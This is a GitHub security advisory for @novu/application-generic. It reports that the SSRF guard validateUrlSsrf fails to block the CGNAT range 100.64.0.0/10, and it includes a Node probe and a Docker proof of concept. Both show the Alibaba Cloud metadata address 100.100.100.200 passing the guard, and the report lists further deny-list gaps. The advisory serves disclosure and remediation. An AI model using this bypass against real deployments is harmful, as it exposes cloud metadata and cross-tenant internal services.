GHSA-vg6v-j97m-h5xq: @novu/application-generic `validateUrlSsrf` Permits CGNAT (100.64.0.0/10) Destinations Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vg6v-j97m-h5xq",
  "modified" : "2026-07-28T14:59:22Z",
  "published" : "2026-07-28T14:59:22Z",
  "aliases" : [ ],
  "summary" : "@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition",
  "details" : "Hi Novu team,\n\nReporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.\n\n## Summary\n\nNovu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.\n\n## Affected code\n\nGuard:\n\n- `libs/application-generic/src/utils/ssrf-url-validation.ts`\n  - `isPrivateIp(...)` regex list at lines 9-28\n  - DNS resolution and address validation at lines 55-72\n\nProduct call-sites:\n\n- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request.\n- Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.\n\nHTTP client:\n\n- `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.\n\n## Root cause\n\nThe SSRF guard uses a hand-written regex deny-list:\n\n```ts\n/^0\\.0\\.0\\.0$/i,\n/^127\\./,\n/^10\\./,\n/^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n/^192\\.168\\./,\n/^169\\.254\\./,\n/^::ffff:127\\./i,\n/^::ffff:10\\./i,\n/^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n/^::ffff:192\\.168\\./i,\n/^::ffff:169\\.254\\./i,\n/^::1$/,\n/^fc00:/i,\n/^fe80:/i,\n```\n\nThis list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.\n\n## Reproduction — Part 1: unit-level probe (no Docker required)\n\nSave the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.\n\n### `novu_ssrf_guard_probe.js`\n\n```javascript\nconst dns = require('dns/promises');\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i,\n    /^127\\./,\n    /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n    /^192\\.168\\./,\n    /^169\\.254\\./,\n    /^::ffff:127\\./i,\n    /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i,\n    /^::ffff:169\\.254\\./i,\n    /^::1$/,\n    /^fc00:/i,\n    /^fe80:/i,\n  ];\n  return privateRanges.some((range) => range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  let parsed;\n  try {\n    parsed = new URL(url);\n  } catch {\n    return 'Invalid URL format.';\n  }\n  if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {\n    return `URL scheme \"${parsed.protocol}\" is not allowed.`;\n  }\n  const hostname = parsed.hostname.toLowerCase();\n  const blockedHostnames = ['localhost', 'metadata.google.internal'];\n  if (blockedHostnames.includes(hostname)) {\n    return `Requests to \"${hostname}\" are not allowed.`;\n  }\n  let addresses;\n  try {\n    addresses = await dns.lookup(hostname, { all: true });\n  } catch {\n    return `Unable to resolve hostname \"${hostname}\".`;\n  }\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) {\n      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;\n    }\n  }\n  return null;\n}\n\nasync function main() {\n  for (const url of [\n    'http://127.0.0.1/',\n    'http://0.0.0.0/',\n    'http://0.0.0.1/',\n    'http://169.254.169.254/',\n    'http://100.64.0.1/',\n    'http://100.100.100.200/',\n    'http://224.0.0.1/',\n    'http://[fd00::1]/',\n    'http://[64:ff9b::7f00:1]/',\n    'http://[::ffff:100.64.0.1]/',\n    'http://8.8.8.8/',\n  ]) {\n    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));\n  }\n}\n\nmain().catch((e) => { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output (relevant lines)\n\n```json\n{\"url\":\"http://127.0.0.1/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1).\"}\n{\"url\":\"http://169.254.169.254/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254).\"}\n{\"url\":\"http://100.64.0.1/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://100.100.100.200/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://8.8.8.8/\",\"verdict\":\"ALLOW\"}\n```\n\nThe 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse.\n\n## Reproduction — Part 2: end-to-end Docker CGNAT proof\n\nSave the three files below into a directory, then:\n\n```bash\ndocker compose up --abort-on-container-exit --exit-code-from novu-client\n```\n\nThis mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The \"target\" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.\n\n### `docker-compose.yml`\n\n```yaml\nservices:\n  cgnat-target:\n    image: python:3.12-alpine\n    command: python -u /srv/target.py\n    volumes:\n      - ./target.py:/srv/target.py:ro\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.20\n\n  novu-client:\n    image: node:22-alpine\n    command: node /srv/client.js\n    volumes:\n      - ./client.js:/srv/client.js:ro\n    depends_on:\n      - cgnat-target\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.10\n\nnetworks:\n  novu-cgnat:\n    ipam:\n      config:\n        - subnet: 100.64.0.0/24\n```\n\n### `target.py`\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(f\"[target] {self.client_address[0]} POST {self.path}\", flush=True)\n        self.send_response(200)\n        self.send_header(\"content-type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(b'{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\\n')\n    def log_message(self, fmt, *args): return\n\nHTTPServer((\"100.64.0.20\", 8080), Handler).serve_forever()\n```\n\n### `client.js`\n\n```javascript\nconst dns = require('dns/promises');\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i, /^127\\./, /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./, /^192\\.168\\./, /^169\\.254\\./,\n    /^::ffff:127\\./i, /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i, /^::ffff:169\\.254\\./i,\n    /^::1$/, /^fc00:/i, /^fe80:/i,\n  ];\n  return privateRanges.some((range) => range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  const parsed = new URL(url);\n  if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';\n  if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {\n    return 'blocked hostname';\n  }\n  const addresses = await dns.lookup(parsed.hostname, { all: true });\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) return `blocked ${address}`;\n  }\n  return null;\n}\n\nasync function waitForTarget(url) {\n  for (let attempt = 0; attempt < 20; attempt += 1) {\n    try {\n      const r = await fetch(url, { method: 'POST' });\n      await r.text();\n      return;\n    } catch (_e) {\n      await new Promise((resolve) => setTimeout(resolve, 250));\n    }\n  }\n}\n\nasync function main() {\n  const url = 'http://cgnat-target:8080/workflow-http-step';\n  const addresses = await dns.lookup('cgnat-target', { all: true });\n  const validation = await validateUrlSsrf(url);\n  console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' }));\n\n  if (validation) { process.exitCode = 2; return; }\n\n  await waitForTarget(url);\n  const response = await fetch(url, {\n    method: 'POST',\n    headers: { 'content-type': 'application/json' },\n    body: JSON.stringify({ source: 'novu-http-request-step' }),\n  });\n  const body = await response.text();\n  console.log(JSON.stringify({ status: response.status, body }));\n}\n\nmain().catch((e) => { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output\n\n```\nnovu-client-1   | {\"url\":\"http://cgnat-target:8080/workflow-http-step\",\"addresses\":[{\"address\":\"100.64.0.20\",\"family\":4}],\"validation\":\"ALLOW\"}\ncgnat-target-1  | [target] 100.64.0.10 POST /workflow-http-step\nnovu-client-1   | {\"status\":200,\"body\":\"{\\\"marker\\\":\\\"NOVU_CGNAT_SSRF_OK\\\"}\\n\"}\n```\n\nThe chain is:\n\n1. Resolve hostname `cgnat-target` → `100.64.0.20` (a CGNAT address).\n2. Run Novu's `validateUrlSsrf` against the URL — returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`.\n3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker `NOVU_CGNAT_SSRF_OK` is received.\n\n## Impact\n\nAny Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for:\n\n- **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata.\n- **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.\n- **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services.\n\n## Suggested remediation\n\n- Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6.\n- Treat only globally reachable public IPs as allowed by default (`addr.range() === 'unicast'` after IPv4-mapped unwrap, or equivalent).\n- Explicitly deny all special-use ranges, including at least:\n  - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16`\n  - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`)\n  - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above\n- Add regression tests for:\n  - `100.64.0.1`, `100.100.100.200`\n  - hostnames resolving to those addresses\n  - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`)\n- Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).\n\n## Notes\n\nThis report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@novu/application-generic"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.17.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/novuhq/novu/security/advisories/GHSA-vg6v-j97m-h5xq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/novuhq/novu"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-28T14:59:22Z",
    "nvd_published_at" : null
  }
}